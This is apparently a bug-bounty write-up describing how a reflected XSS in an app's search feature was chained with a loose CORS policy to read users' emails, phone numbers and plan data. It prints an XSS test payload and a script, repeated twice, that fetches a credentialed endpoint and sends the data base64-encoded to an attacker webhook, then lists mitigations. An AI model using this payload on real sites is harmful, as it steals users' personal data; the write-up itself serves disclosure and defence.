From Reflected XSS to Critical Bug Led to Sensitive Data Leakage

Today I will share with you the latest attack chain I found on a development-stage application that led me to access the users' critical data, including emails, phone numbers, and subscription plan info.

The chain started from a normal reflected XSS found on a subdomain of the app that used to abuse CORS config on a specific page that allows only the assets owned by this app to share these critical creds, so we abused it to access this critical data and send it to the attacker server.

After a very basic recon on the target and creating an account (It's just a customer role), there was a search functionality used to search for financial deals done by this user, so I tried a basic XSS payload to test it <svg/onload=confirm("Nyx0r_1s_H3r3")> and it worked

So, I was going to report it, and it would be the fastest bug I ever got, but I remembered that the page that contains the user's data contains CORS-related response headers, and I couldn't bypass the allowed origin part

But now I have control of the page that is considered an asset to this application, so my payload changed from just an alert that appears as a pop-up to a payload that tries to parse this critical data and then send it again base64-encrypted to an attacker-controlled server ( I used Webhook[.]site in this demo)

<script>
  fetch("https://<vulnerable-cors-endpoint>",{credentials:"include"}
    ).then(r=>r.text()
  ).then(data=>fetch("https://<attacker-webhook>/?data="+btoa(data)))
</script>

<script>
  fetch("https://<vulnerable-cors-endpoint>",{credentials:"include"}
    ).then(r=>r.text()
  ).then(data=>fetch("https://<attacker-webhook>/?data="+btoa(data)))
</script>

The result

Now, our XSS bug mapped from medium severity to a critical severity bug by just chaining it with other misconfigurations.

Recommended Mitigation for similar situations

• Fix the XSS (Input Validation): Strictly sanitize all user input on both the client-side and server-side to prevent malicious code execution. Encode data before rendering it in the browser.
• Harden the CORS Policy: Apply the principle of least privilege. Even if an asset is owned by the application, do not blindly grant it access to sensitive data endpoints unless that specific asset actively requires it to function.